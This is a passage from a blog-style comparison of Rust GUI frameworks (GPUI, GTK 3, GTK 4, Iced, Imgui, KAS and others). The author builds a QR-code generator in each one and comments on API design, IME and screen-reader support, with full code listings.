        fn unmark_text(&mut self, _window: &mut Window, _cx: &mut Context<Self>) {
            self.marked_range = None;
        }
    
        fn replace_text_in_range(
            &mut self,
            range_utf16: Option<Range<usize>>,
            new_text: &str,
            _: &mut Window,
            cx: &mut Context<Self>,
        ) {
            let range = range_utf16
                .as_ref()
                .map(|range_utf16| self.range_from_utf16(range_utf16))
                .or(self.marked_range.clone())
                .unwrap_or(self.selected_range.clone());
    
            self.content =
                (self.content[0..range.start].to_owned() + new_text + &self.content[range.end..])
                    .into();
            self.selected_range = range.start + new_text.len()..range.start + new_text.len();
            self.marked_range.take();
            cx.notify();
        }
    
        fn replace_and_mark_text_in_range(
            &mut self,
            range_utf16: Option<Range<usize>>,
            new_text: &str,
            new_selected_range_utf16: Option<Range<usize>>,
            _window: &mut Window,
            cx: &mut Context<Self>,
        ) {
            let range = range_utf16
                .as_ref()
                .map(|range_utf16| self.range_from_utf16(range_utf16))
                .or(self.marked_range.clone())
                .unwrap_or(self.selected_range.clone());
    
            self.content =
                (self.content[0..range.start].to_owned() + new_text + &self.content[range.end..])
                    .into();
            if !new_text.is_empty() {
                self.marked_range = Some(range.start..range.start + new_text.len());
            } else {
                self.marked_range = None;
            }
            self.selected_range = new_selected_range_utf16
                .as_ref()
                .map(|range_utf16| self.range_from_utf16(range_utf16))
                .map(|new_range| new_range.start + range.start..new_range.end + range.start)
                .unwrap_or_else(|| range.start + new_text.len()..range.start + new_text.len());
    
            cx.notify();
        }
    
        fn bounds_for_range(
            &mut self,
            range_utf16: Range<usize>,
            bounds: Bounds<Pixels>,
            _window: &mut Window,
            _cx: &mut Context<Self>,
        ) -> Option<Bounds<Pixels>> {
            let last_layout = self.last_layout.as_ref()?;
            let range = self.range_from_utf16(&range_utf16);
            Some(Bounds::from_corners(
                point(
                    bounds.left() + last_layout.x_for_index(range.start),
                    bounds.top(),
                ),
                point(
                    bounds.left() + last_layout.x_for_index(range.end),
                    bounds.bottom(),
                ),
            ))
        }
    
        fn character_index_for_point(
            &mut self,
            point: gpui::Point<Pixels>,
            _window: &mut Window,
            _cx: &mut Context<Self>,
        ) -> Option<usize> {
            let line_point = self.last_bounds?.localize(&point)?;
            let last_layout = self.last_layout.as_ref()?;
    
            assert_eq!(last_layout.text, self.content);
            let utf8_index = last_layout.index_for_x(point.x - line_point.x)?;
            Some(self.offset_to_utf16(utf8_index))
        }
    }
    
    struct TextElement {
        input: Entity<TextInput>,
    }
    
    struct PrepaintState {
        line: Option<ShapedLine>,
        cursor: Option<PaintQuad>,
        selection: Option<PaintQuad>,
    }
    
    impl IntoElement for TextElement {
        type Element = Self;
    
        fn into_element(self) -> Self::Element {
            self
        }
    }
    
    impl Element for TextElement {
        type RequestLayoutState = ();
        type PrepaintState = PrepaintState;
    
        fn id(&self) -> Option<ElementId> {
            None
        }
    
        fn source_location(&self) -> Option<&'static core::panic::Location<'static>> {
            None
        }
    
        fn request_layout(
            &mut self,
            _id: Option<&GlobalElementId>,
            _inspector_id: Option<&gpui::InspectorElementId>,
            window: &mut Window,
            cx: &mut App,
        ) -> (LayoutId, Self::RequestLayoutState) {
            let mut style = Style::default();
            style.size.width = relative(1.).into();
            style.size.height = window.line_height().into();
            (window.request_layout(style, [], cx), ())
        }
    
        fn prepaint(
            &mut self,
            _id: Option<&GlobalElementId>,
            _inspector_id: Option<&gpui::InspectorElementId>,
            bounds: Bounds<Pixels>,
            _request_layout: &mut Self::RequestLayoutState,
            window: &mut Window,
            cx: &mut App,
        ) -> Self::PrepaintState {
            let input = self.input.read(cx);
            let content = input.content.clone();
            let selected_range = input.selected_range.clone();
            let cursor = input.cursor_offset();
            let style = window.text_style();
    
            let (display_text, text_color) = if content.is_empty() {
                (input.placeholder.clone(), hsla(0., 0., 0., 0.2))
            } else {
                (content, style.color)
            };
    
            let run = TextRun {
                len: display_text.len(),
                font: style.font(),
                color: text_color,
                background_color: None,
                underline: None,
                strikethrough: None,
            };
            let runs = if let Some(marked_range) = input.marked_range.as_ref() {
                vec![
                    TextRun {
                        len: marked_range.start,
                        ..run.clone()
                    },
                    TextRun {
                        len: marked_range.end - marked_range.start,
                        underline: Some(UnderlineStyle {
                            color: Some(run.color),
                            thickness: px(1.0),
                            wavy: false,
                        }),
                        ..run.clone()
                    },
                    TextRun {
                        len: display_text.len() - marked_range.end,
                        ..run
                    },
                ]
                .into_iter()
                .filter(|run| run.len > 0)
                .collect()
            } else {
                vec![run]
            };
    
            let font_size = style.font_size.to_pixels(window.rem_size());
            let line = window
                .text_system()
                .shape_line(display_text, font_size, &runs, None);
    
            let cursor_pos = line.x_for_index(cursor);
            let (selection, cursor) = if selected_range.is_empty() {
                (
                    None,
                    Some(fill(
                        Bounds::new(
                            point(bounds.left() + cursor_pos, bounds.top()),
                            size(px(2.), bounds.bottom() - bounds.top()),
                        ),
                        gpui::blue(),
                    )),
                )
            } else {
                (
                    Some(fill(
                        Bounds::from_corners(
                            point(
                                bounds.left() + line.x_for_index(selected_range.start),
                                bounds.top(),
                            ),
                            point(
                                bounds.left() + line.x_for_index(selected_range.end),
                                bounds.bottom(),
                            ),
                        ),
                        rgba(0x3311ff30),
                    )),
                    None,
                )
            };
            PrepaintState {
                line: Some(line),
                cursor,
                selection,
            }
        }
    
        fn paint(
            &mut self,
            _id: Option<&GlobalElementId>,
            _inspector_id: Option<&gpui::InspectorElementId>,
            bounds: Bounds<Pixels>,
            _request_layout: &mut Self::RequestLayoutState,
            prepaint: &mut Self::PrepaintState,
            window: &mut Window,
            cx: &mut App,
        ) {
            let focus_handle = self.input.read(cx).focus_handle.clone();
            window.handle_input(
                &focus_handle,
                ElementInputHandler::new(bounds, self.input.clone()),
                cx,
            );
            if let Some(selection) = prepaint.selection.take() {
                window.paint_quad(selection)
            }
            let line = prepaint.line.take().unwrap();
            line.paint(bounds.origin, window.line_height(), window, cx)
                .unwrap();
    
            if focus_handle.is_focused(window)
                && let Some(cursor) = prepaint.cursor.take()
            {
                window.paint_quad(cursor);
            }
    
            self.input.update(cx, |input, _cx| {
                input.last_layout = Some(line);
                input.last_bounds = Some(bounds);
            });
        }
    }
    
    impl Render for TextInput {
        fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
            div()
                .flex()
                .key_context("TextInput")
                .track_focus(&self.focus_handle(cx))
                .cursor(CursorStyle::IBeam)
                .on_action(cx.listener(Self::backspace))
                .on_action(cx.listener(Self::delete))
                .on_action(cx.listener(Self::left))
                .on_action(cx.listener(Self::right))
                .on_action(cx.listener(Self::select_left))
                .on_action(cx.listener(Self::select_right))
                .on_action(cx.listener(Self::select_all))
                .on_action(cx.listener(Self::home))
                .on_action(cx.listener(Self::end))
                .on_action(cx.listener(Self::show_character_palette))
                .on_action(cx.listener(Self::paste))
                .on_action(cx.listener(Self::cut))
                .on_action(cx.listener(Self::copy))
                .on_mouse_down(MouseButton::Left, cx.listener(Self::on_mouse_down))
                .on_mouse_up(MouseButton::Left, cx.listener(Self::on_mouse_up))
                .on_mouse_up_out(MouseButton::Left, cx.listener(Self::on_mouse_up))
                .on_mouse_move(cx.listener(Self::on_mouse_move))
                .bg(rgb(0xeeeeee))
                .line_height(px(30.))
                .text_size(px(24.))
                .child(
                    div()
                        .h(px(30. + 4. * 2.))
                        .w_full()
                        .p(px(4.))
                        .bg(white())
                        .child(TextElement { input: cx.entity() }),
                )
        }
    }
    
    impl Focusable for TextInput {
        fn focus_handle(&self, _: &App) -> FocusHandle {
            self.focus_handle.clone()
        }
    }
    
    struct InputExample {
        text_input: Entity<TextInput>,
        recent_keystrokes: Vec<Keystroke>,
        focus_handle: FocusHandle,
    }
    
    impl Focusable for InputExample {
        fn focus_handle(&self, _: &App) -> FocusHandle {
            self.focus_handle.clone()
        }
    }
    
    impl Render for InputExample {
        fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
            div()
                .track_focus(&self.focus_handle(cx))
                .flex()
                .flex_col()
                .size_full()
                .bg(white())
                .child("Enter text to generate QR code:")
                .child(self.text_input.clone())
                .child(qr_img(&self.text_input.read(cx).content))
        }
    }
    
    fn qr_img(text: &str) -> Img {
        let mut rgba = qrcode::QrCode::new(text.as_bytes())
            .unwrap()
            .render::<Rgba<u8>>()
            .quiet_zone(true)
            .min_dimensions(100, 100)
            .build();
    
        // to BGRA
        for pixel in rgba.pixels_mut() {
            pixel.0.swap(0, 2);
        }
    
        img(Arc::new(RenderImage::new(SmallVec::from_elem(
            Frame::new(rgba),
            1,
        ))))
        .size(px(100.))
    }
    

    Link to this section GTK 3

    “UNMAINTAINED Rust bindings for the GTK+ 3 library (use gtk4 instead).”

    That’s what Are We GUI Yet? and crates.io say. But when I went and checked their GitHub repository, it had actually been updated as recently as yesterday (2026-08-18), and quite frequently at that. However, they indeed haven’t released a new version in nearly three years or more. I’m a bit curious what’s going on here, so why not give their GitHub version a try?

    First off, there’s a Rust version issue. The library was updated to the Rust 2024 edition in a commit from a few days ago, but a piece of code gated by #[cfg(macos)] still uses the old syntax, so it won’t compile on the newer Rust compiler, while older compilers will reject it because the rest of the code has already been upgraded to the 2024 edition. Fortunately, pinning the version to a slightly earlier commit solves the problem.

    I thought I would need to use Nix again to solve the native library dependencies. But then I found I had installed GTK via Homebrew at some point. Well, at least that saves me from having to fiddle with the environment any further.

    IME doesn’t work properly, and the screen reader can’t recognize the window’s content either. I noticed that the GTK 3 repository has bindings for ATK (Accessibility Toolkit), but I couldn’t find documentation on how to integrate ATK into GTK.

    Full Code
    use gtk::gdk_pixbuf::{Colorspace, Pixbuf};
    use gtk::glib::Bytes;
    use gtk::prelude::*;
    use gtk::{Application, ApplicationWindow};
    
    fn main() {
        let app = Application::builder()
            .application_id("org.example.HelloWorld")
            .build();
    
        app.connect_activate(|app| {
            let win = ApplicationWindow::builder()
                .application(app)
                .title("QR Code Generator")
                .build();
    
            let b = gtk::Box::builder()
                .orientation(gtk::Orientation::Vertical)
                .spacing(6)
                .build();
            win.set_child(Some(&b));
    
            b.add(
                &gtk::Label::builder()
                    .label("Enter text to generate QR code:")
                    .build(),
            );
    
            let input = gtk::Entry::builder().build();
            b.add(&input);
    
            let img = gtk::Image::builder().build();
            b.add(&img);
    
            input.connect_changed(move |input| {
                let text = input.text();
                if let Ok(qr) = qr_encode(&text) {
                    img.set_from_pixbuf(Some(&qr));
                }
            });
    
            win.show_all();
        });
    
        app.run();
    }
    
    pub fn qr_encode(text: &str) -> anyhow::Result<Pixbuf> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<image::Luma<u8>>().build();
        let img = image::DynamicImage::ImageLuma8(img).to_rgb8();
        let width = img.width();
        let height = img.height();
        Ok(Pixbuf::from_bytes(
            &Bytes::from_owned(img.into_raw()),
            Colorspace::Rgb,
            false,
            8,
            width as i32,
            height as i32,
            width as i32 * 3,
        ))
    }

    Link to this section GTK 4

    GTK 4 overall feels quite similar to GTK 3. I was able to take the code I had in GTK 3, make a few small changes, and run it on GTK 4.

    IME now works properly, which is an improvement over GTK 3. However, the screen reader still can’t recognize the content in the window. The GTK documentation has plenty about accessibility, so why doesn’t it actually work in practice?

    Unlike on Windows, GTK on macOS doesn’t use its client-side window decorations; instead, it opts for server-side decorations like other applications. At least that way it doesn’t look so out of place.

    Full Code
    use gtk4 as gtk;
    use gtk::glib::Bytes;
    use gtk::prelude::*;
    use gtk::{Application, ApplicationWindow};
    use gtk::gdk::{MemoryFormat, MemoryTexture};
    
    fn main() {
        let app = Application::builder()
            .application_id("org.example.HelloWorld")
            .build();
    
        app.connect_activate(|app| {
            let win = ApplicationWindow::builder()
                .application(app)
                .title("QR Code Generator")
                .build();
    
            let b = gtk::Box::builder()
                .orientation(gtk::Orientation::Vertical)
                .spacing(6)
                .build();
            win.set_child(Some(&b));
    
            b.append(
                &gtk::Label::builder()
                    .label("Enter text to generate QR code:")
                    .build(),
            );
    
            let input = gtk::Entry::builder().build();
            b.append(&input);
    
            let img = gtk::Picture::builder().width_request(200).height_request(200).build();
            b.append(&img);
    
            input.connect_changed(move |input| {
                let text = input.text();
                if let Ok(qr) = qr_encode(&text) {
                    img.set_paintable(Some(&qr));
                }
            });
    
            win.present();
        });
    
        app.run();
    }
    
    pub fn qr_encode(text: &str) -> anyhow::Result<MemoryTexture> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<image::Luma<u8>>().build();
        let img = image::DynamicImage::ImageLuma8(img).to_rgb8();
        let width = img.width();
        let height = img.height();
        Ok(MemoryTexture::new(
            width as i32,
            height as i32,
            MemoryFormat::R8g8b8,
            &Bytes::from(&img.into_raw()),
            width as usize * 3,
        ))
    }

    Link to this section Iced

    Iced is a GUI framework that uses the Elm Architecture as its model. The so-called Elm Architecture originates from the frontend framework Elm and is a way of writing GUIs using functional programming. It requires centralizing all program state in one place and treating it as the single source of truth. The program’s interface can be determined by computing from the state, and GUI inputs are represented as transitions from the current state to a new state. 9 9. If you want a more functional programming-style explanation, the Elm Architecture decomposes a GUI program into a reader monad and a state monad. Although this perspective does no help with writing programs.

    In my personal experience, the Elm Architecture is beautiful in theory, but in practice it comes with many subtle points of friction. For example, in a sufficiently large GUI program, it’s true that most state is meant to be globally available, and lifting it into a common model makes sense. But there is also plenty of state that is meant as internal detail, only used by a specific component. If you have to put all that state into the global state as well, the abstraction leak problem becomes quite severe.

    I’ve rambled on enough. I haven’t actually used iced before, so let’s see how it works in practice.

    IME works fine, but the screen reader cannot recognize the content in the window.

    For a simple example like this, the Elm Architecture is still quite comfortable to use.

    However, there’s one small thing to nitpick about iced’s widget DSL. Since they already use macros like column! when creating widget lists, they could go further and customize the syntax. For example, for dynamic widget creation scenarios, they could support Flutter-style insertion of if and for expressions directly in the list, like this:

    column![
        text("Enter text to generate QR code:"),
        text_input("https://example.com", &state.text).on_input(Message::SetText),
        if let Some(qr) = &state.qr { image(qr.clone()) },
    ]

    Another point is that iced’s documentation discoverability is not great. Because many of its widgets (like image ) are generic, and when creating them you need to pass a generic type parameter. You have to dig into the docs to find the default implementation of that generic to know how to construct that parameter.

    Full Code
    use iced::Element;
    use iced::widget::{column, container, image, text, text_input};
    
    pub fn main() -> iced::Result {
        iced::application(State::default, update, view)
            .title(|_: &State| "QR Code Generator".to_string())
            .run()
    }
    
    #[derive(Debug, Default)]
    struct State {
        text: String,
        qr: Option<image::Handle>,
    }
    
    #[derive(Debug, Clone)]
    enum Message {
        SetText(String),
    }
    
    fn update(state: &mut State, message: Message) {
        match message {
            Message::SetText(text) => {
                state.text = text;
                state.qr = qr_encode(&state.text).ok();
            }
        }
    }
    
    fn view(state: &State) -> Element<'_, Message> {
        container({
            let children = column![
                text("Enter text to generate QR code:"),
                text_input("https://example.com", &state.text).on_input(Message::SetText),
            ]
            .spacing(10);
            if let Some(qr) = &state.qr {
                children.push(image(qr.clone()))
            } else {
                children
            }
        })
        .into()
    }
    
    pub fn qr_encode(text: &str) -> anyhow::Result<image::Handle> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<::image::Luma<u8>>().build();
        let (width, height) = img.dimensions();
        let pixels = ::image::DynamicImage::ImageLuma8(img)
            .into_rgba8()
            .into_raw();
        Ok(image::Handle::from_rgba(width, height, pixels))
    }

    Link to this section Imgui

    Imgui is a Rust binding for Dear ImGui, a C++ immediate-mode GUI library. My main impression of Dear ImGui is its distinctive style: it always renders at a low resolution no matter what screen it’s on.

    Imgui doesn’t seem very active. Its last release was two years ago, though the GitHub repo still sees occasional updates every month or two.

    The main imgui repo doesn’t have any complete examples; just a code snippet in the README. The README links to an imgui-examples repo that hasn’t been updated in two years. I looked for the simplest example there, but all of them rely on a 100+ line shared file for window setup, and that file uses the glium backend, which is already marked deprecated in the main repo’s README.

    There’s a newer imgui-wgpu backend available, but after digging through the repo and docs, it looks like I’d have to set up a wgpu context by hand. Ugh, modern graphics. My head already hurts.

    Fortunately, I could build on the imgui-wgpu example. Although the example is full of boilerplate code for creating windows and managing the wgpu context, it was still fairly easy to modify.

    IME is not supported, and neither is the screen reader.

    For comparison, I feel that imgui’s API design is a bit cleaner than egui’s. But at the same time, because imgui exposes a lot of details about the underlying renderer, it’s not actually that clean in practice. Also, since imgui is a binding for a C++ library, in some places it has to follow conventions from the C++ ecosystem. For example, a text input can’t accept a string containing '\0' (although I have no idea what keyboard could even produce such a string).

    Full Code
    use imgui::*;
    use imgui_wgpu::{Renderer, RendererConfig, Texture, TextureConfig};
    use imgui_winit_support::WinitPlatform;
    use pollster::block_on;
    use std::{sync::Arc, time::Instant};
    use wgpu::Extent3d;
    use winit::{
        application::ApplicationHandler,
        dpi::LogicalSize,
        event::{Event, WindowEvent},
        event_loop::{ActiveEventLoop, ControlFlow, EventLoop},
        keyboard::{Key, NamedKey},
        window::Window,
    };
    
    struct ImguiState {
        context: imgui::Context,
        platform: WinitPlatform,
        renderer: Renderer,
        clear_color: wgpu::Color,
        last_frame: Instant,
        last_cursor: Option<MouseCursor>,
        text: String,
        qr: Option<TextureId>,
    }
    
    struct AppWindow {
        device: wgpu::Device,
        queue: wgpu::Queue,
        window: Arc<Window>,
        surface_desc: wgpu::SurfaceConfiguration,
        surface: wgpu::Surface<'static>,
        hidpi_factor: f64,
        imgui: Option<ImguiState>,
    }
    
    #[derive(Default)]
    struct App {
        window: Option<AppWindow>,
    }
    
    impl AppWindow {
        fn setup_gpu(event_loop: &ActiveEventLoop) -> Self {
            let instance = wgpu::Instance::new(wgpu::InstanceDescriptor {
                backends: wgpu::Backends::PRIMARY,
                ..wgpu::InstanceDescriptor::new_with_display_handle(Box::new(
                    event_loop.owned_display_handle(),
                ))
            });
    
            let window = {
                let size = LogicalSize::new(1280.0, 720.0);
    
                let attributes = Window::default_attributes()
                    .with_inner_size(size)
                    .with_title("QR Code Generator");
                Arc::new(event_loop.create_window(attributes).unwrap())
            };
    
            let size = window.inner_size();
            let hidpi_factor = window.scale_factor();
            let surface = instance.create_surface(window.clone()).unwrap();
    
            let adapter = block_on(instance.request_adapter(&wgpu::RequestAdapterOptions {
                power_preference: wgpu::PowerPreference::HighPerformance,
                compatible_surface: Some(&surface),
                force_fallback_adapter: false,
            }))
            .unwrap();
    
            let (device, queue) =
                block_on(adapter.request_device(&wgpu::DeviceDescriptor::default())).unwrap();
    
            // Set up swap chain
            let surface_desc = wgpu::SurfaceConfiguration {
                usage: wgpu::TextureUsages::RENDER_ATTACHMENT,
                format: wgpu::TextureFormat::Bgra8UnormSrgb,
                width: size.width,
                height: size.height,
                present_mode: wgpu::PresentMode::Fifo,
                desired_maximum_frame_latency: 2,
                alpha_mode: wgpu::CompositeAlphaMode::Auto,
                view_formats: vec![wgpu::TextureFormat::Bgra8Unorm],
            };
    
            surface.configure(&device, &surface_desc);
    
            let imgui = None;
            Self {
                device,
                queue,
                window,
                surface_desc,
                surface,
                hidpi_factor,
                imgui,
            }
        }
    
        fn setup_imgui(&mut self) {
            let mut context = imgui::Context::create();
            let mut platform = imgui_winit_support::WinitPlatform::new(&mut context);
            platform.attach_window(
                context.io_mut(),
                &self.window,
                imgui_winit_support::HiDpiMode::Default,
            );
            context.set_ini_filename(None);
    
            let font_size = (13.0 * self.hidpi_factor) as f32;
            context.io_mut().font_global_scale = (1.0 / self.hidpi_factor) as f32;
    
            context.fonts().add_font(&[FontSource::DefaultFontData {
                config: Some(imgui::FontConfig {
                    size_pixels: font_size,
                    ..Default::default()
                }),
            }]);
    
            let clear_color = wgpu::Color {
                r: 0.1,
                g: 0.2,
                b: 0.3,
                a: 1.0,
            };
    
            let renderer_config = RendererConfig {
                texture_format: self.surface_desc.format,
                ..Default::default()
            };
    
            let renderer = Renderer::new(&mut context, &self.device, &self.queue, renderer_config);
            let last_frame = Instant::now();
            let last_cursor = None;
    
            self.imgui = Some(ImguiState {
                context,
                platform,
                renderer,
                clear_color,
                last_frame,
                last_cursor,
                text: String::new(),
                qr: None,
            })
        }
    
        fn new(event_loop: &ActiveEventLoop) -> Self {
            let mut window = Self::setup_gpu(event_loop);
            window.setup_imgui();
            window
        }
    }
    
    impl ApplicationHandler for App {
        fn resumed(&mut self, event_loop: &ActiveEventLoop) {
            self.window = Some(AppWindow::new(event_loop));
        }
    
        fn window_event(
            &mut self,
            event_loop: &ActiveEventLoop,
            window_id: winit::window::WindowId,
            event: WindowEvent,
        ) {
            let window = self.window.as_mut().unwrap();
            let imgui = window.imgui.as_mut().unwrap();
    
            match &event {
                WindowEvent::Resized(size) => {
                    window.surface_desc.width = size.width;
                    window.surface_desc.height = size.height;
                    window
                        .surface
                        .configure(&window.device, &window.surface_desc);
                }
                WindowEvent::ScaleFactorChanged { scale_factor, .. } => {
                    window.hidpi_factor = *scale_factor;
                    let font_size = (13.0 * window.hidpi_factor) as f32;
                    imgui.context.fonts().clear();
                    imgui
                        .context
                        .fonts()
                        .add_font(&[FontSource::DefaultFontData {
                            config: Some(imgui::FontConfig {
                                oversample_h: 1,
                                pixel_snap_h: true,
                                size_pixels: font_size,
                                ..Default::default()
                            }),
                        }]);
                    imgui.renderer.reload_font_texture(
                        &mut imgui.context,
                        &window.device,
                        &window.queue,
                    );
                }
                WindowEvent::CloseRequested => event_loop.exit(),
                WindowEvent::KeyboardInput { event, .. } => {
                    if let Key::Named(NamedKey::Escape) = event.logical_key
                        && event.state.is_pressed()
                    {
                        event_loop.exit();
                    }
                }
                WindowEvent::RedrawRequested => {
                    let now = Instant::now();
                    imgui
                        .context
                        .io_mut()
                        .update_delta_time(now - imgui.last_frame);
                    imgui.last_frame = now;
    
                    let frame = match window.surface.get_current_texture() {
                        wgpu::CurrentSurfaceTexture::Success(frame) => frame,
                        wgpu::CurrentSurfaceTexture::Suboptimal(frame) => frame,
                        wgpu::CurrentSurfaceTexture::Timeout
                        | wgpu::CurrentSurfaceTexture::Occluded => return,
                        wgpu::CurrentSurfaceTexture::Outdated | wgpu::CurrentSurfaceTexture::Lost => {
                            window
                                .surface
                                .configure(&window.device, &window.surface_desc);
                            return;
                        }
                        other => {
                            eprintln!("get_current_texture error: {other:?}");
                            return;
                        }
                    };
                    imgui
                        .platform
                        .prepare_frame(imgui.context.io_mut(), &window.window)
                        .expect("Failed to prepare frame");
                    let ui = imgui.context.frame();
    
                    {
                        // Clone before the closure: `window` is already mutably
                        // borrowed via `imgui`, and Device/Queue are cheap Arc clones.
                        let device = window.device.clone();
                        let queue = window.queue.clone();
                        ui.window("QR Code Generator")
                            .size([300.0, 100.0], Condition::FirstUseEver)
                            .build(|| {
                                ui.text("Enter text to generate QR code:");
                                if ui.input_text("text", &mut imgui.text).build()
                                    && let Ok(qr) = qr_encode(&imgui.text)
                                {
                                    let image = qr.into_rgba8();
                                    let (width, height) = image.dimensions();
                                    let raw_data = image.into_raw();
    
                                    let texture_config = TextureConfig {
                                        size: Extent3d {
                                            width,
                                            height,
                                            ..Default::default()
                                        },
                                        label: Some("qrcode"),
                                        format: Some(wgpu::TextureFormat::Rgba8Unorm),
                                        ..Default::default()
                                    };
    
                                    let texture = Texture::new(
                                        &device,
                                        &imgui.renderer,
                                        texture_config,
                                    );
    
                                    texture.write(&queue, &raw_data, width, height);
                                    imgui.qr = Some(imgui.renderer.textures.insert(texture));
                                }
                                if let Some(qr_id) = imgui.qr {
                                    Image::new(qr_id, [200.0, 200.0]).build(ui);
                                }
                            });
                    }
    
                    let mut encoder: wgpu::CommandEncoder = window
                        .device
                        .create_command_encoder(&wgpu::CommandEncoderDescriptor { label: None });
    
                    if imgui.last_cursor != ui.mouse_cursor() {
                        imgui.last_cursor = ui.mouse_cursor();
                        imgui.platform.prepare_render(ui, &window.window);
                    }
    
                    let view = frame
                        .texture
                        .create_view(&wgpu::TextureViewDescriptor::default());
                    let mut rpass = encoder.begin_render_pass(&wgpu::RenderPassDescriptor {
                        label: None,
                        color_attachments: &[Some(wgpu::RenderPassColorAttachment {
                            view: &view,
                            resolve_target: None,
                            ops: wgpu::Operations {
                                load: wgpu::LoadOp::Clear(imgui.clear_color),
                                store: wgpu::StoreOp::Store,
                            },
                            depth_slice: None,
                        })],
                        depth_stencil_attachment: None,
                        timestamp_writes: None,
                        occlusion_query_set: None,
                        multiview_mask: None,
                    });
    
                    imgui
                        .renderer
                        .render(
                            imgui.context.render(),
                            &window.queue,
                            &window.device,
                            &mut rpass,
                        )
                        .expect("Rendering failed");
    
                    drop(rpass);
    
                    window.queue.submit(Some(encoder.finish()));
    
                    frame.present();
                }
                _ => (),
            }
    
            imgui.platform.handle_event::<()>(
                imgui.context.io_mut(),
                &window.window,
                &Event::WindowEvent { window_id, event },
            );
        }
    
        fn user_event(&mut self, _event_loop: &ActiveEventLoop, event: ()) {
            let window = self.window.as_mut().unwrap();
            let imgui = window.imgui.as_mut().unwrap();
            imgui.platform.handle_event::<()>(
                imgui.context.io_mut(),
                &window.window,
                &Event::UserEvent(event),
            );
        }
    
        fn device_event(
            &mut self,
            _event_loop: &ActiveEventLoop,
            device_id: winit::event::DeviceId,
            event: winit::event::DeviceEvent,
        ) {
            let window = self.window.as_mut().unwrap();
            let imgui = window.imgui.as_mut().unwrap();
            imgui.platform.handle_event::<()>(
                imgui.context.io_mut(),
                &window.window,
                &Event::DeviceEvent { device_id, event },
            );
        }
    
        fn about_to_wait(&mut self, _event_loop: &ActiveEventLoop) {
            let window = self.window.as_mut().unwrap();
            let imgui = window.imgui.as_mut().unwrap();
            window.window.request_redraw();
            imgui.platform.handle_event::<()>(
                imgui.context.io_mut(),
                &window.window,
                &Event::AboutToWait,
            );
        }
    }
    
    pub fn qr_encode(text: &str) -> anyhow::Result<image::DynamicImage> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<image::Luma<u8>>().build();
        Ok(img.into())
    }
    
    fn main() {
        env_logger::init();
        let event_loop = EventLoop::new().unwrap();
        event_loop.set_control_flow(ControlFlow::Poll);
        event_loop.run_app(&mut App::default()).unwrap();
    }
    

    Link to this section KAS

    KAS is a Rust GUI framework that pursues simplicity.

    KAS’s repository links to their tutorial and their blog. I really like open-source projects that maintain a blog, because the thought processes and the principles and rationale behind the project design recorded by the developers are often worth learning from, even for people who don’t use the project. In KAS’s blog, there is also a State of GUI 2022 that can be compared with the current state of things.

    KAS’s programming model falls somewhere between React’s reactive model and the Elm Architecture. It allows attaching state to intermediate nodes in the component tree, where those nodes handle events and state updates from child components separately. Intuitively, this approach seems like it could solve the abstraction leak problem in the Elm Architecture. However, I can’t say for sure how composable it actually is. Because it looks like they ran into some trouble composing stateful widgets, so they specifically designed a macro-based syntax for widget composing. Incidentally, this architecture design reminds me of Blinc’s stateful components mentioned earlier, although I get the feeling the Blinc also hasn’t fully figured out how to manage state in their programs.

    IME and the screen reader both don’t work properly. However, interestingly, in KAS’s repository, I also saw tracking issues regarding IME and screen reader support. They both started in June 2025. Judging from the timing, it’s quite likely they were influenced by the 2025 survey. Hopefully they’ll keep up the momentum this year.

    As expected, when trying to compose components with different states, KAS’s API has a lot of friction. It reminds me of the days of playing with parser combinators. However, parser combinators generally provide a way to degrade types to dyn Trait to reduce type-system complexity. But for some reason, in KAS, they didn’t choose to do this for widget types. This means when you want to create a series of widgets side by side, you have only two options: either use macros like column! , or hand-write a type to combine these components. The former is almost unusable for cross-component communication, because the local types generated by macros are completely opaque, making it impossible to get references to child components. The API for custom components also seems rough. For example, while writing this example, habits from other frameworks told me that I should feed the TextEdited event information back into the state, i.e., the controlled component mechanism from React. But it actually works without doing that. I don’t quite understand why, but it runs, so let’s just leave it at that.

    Full Code
    use kas::{draw::ImageFormat, image::Sprite, prelude::*, widgets::*};
    
    #[derive(Clone, Debug)]
    struct TextEdited(String);
    
    fn qr_encode(text: &str) -> anyhow::Result<(Size, Vec<u8>)> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<image::Luma<u8>>().build();
        let img = image::DynamicImage::ImageLuma8(img).into_rgba8();
        let size = Size::splat(img.width().cast());
        Ok((size, img.into_raw()))
    }
    
    #[impl_self]
    mod QrApp {
        #[widget]
        #[layout(column![self.label, self.input, self.sprite])]
        pub struct QrApp {
            core: widget_core!(),
            #[widget]
            label: adapt::Map<String, Label, fn(&String) -> &()>,
            #[widget]
            input: EditBox<edit::InstantParseGuard<String, String>>,
            #[widget]
            sprite: adapt::Map<String, Sprite, fn(&String) -> &()>,
        }
    
        impl Default for Self {
            fn default() -> Self {
                QrApp {
                    core: Default::default(),
                    label: Label::new("Enter text to generate a QR code:".into()).map(|_| &()),
                    sprite: Sprite::new().with_logical_size((256.0, 256.0)).map(|_| &()),
                    input: EditBox::instant_parser(|x: &String| x.into(), TextEdited),
                }
            }
        }
    
        impl Events for Self {
            type Data = String;
    
            fn handle_messages(&mut self, cx: &mut EventCx, _: &Self::Data) {
                if let Some(TextEdited(text)) = cx.try_pop()
                    && let Ok((size, data)) = qr_encode(&text)
                {
                    let draw = cx.draw_shared();
                    if let Ok(handle) = draw.image_alloc(ImageFormat::Rgba8, size)
                        && draw.image_upload(&handle, &data).is_ok()
                    {
                        self.sprite.set(cx, handle);
                    }
                }
            }
        }
    }
    
    fn main() -> kas::runner::Result<()> {
        env_logger::init();
        let window = Window::new(
            QrApp::default().with_state("https://example.com/".into()),
            "QR Code Generator",
        );
        kas::runner::Runner::new(())?.with(window).run()
    }

    Link to this section Kittest

    Kittest is a UI automation testing framework based on AccessKit, and it currently provides egui integration. Clearly, it’s not a framework for building GUIs, so let’s move on to the next one.

    Link to this section Leptos

    Leptos is a Rust framework for building full-stack web apps. On the UI side, it adopts a fine-grained reactive model. Leptos doesn’t provide a mode for packaging applications as desktop apps like Dioxus does; their focus is clearly more on the web domain.

    Link to this section Lvgl

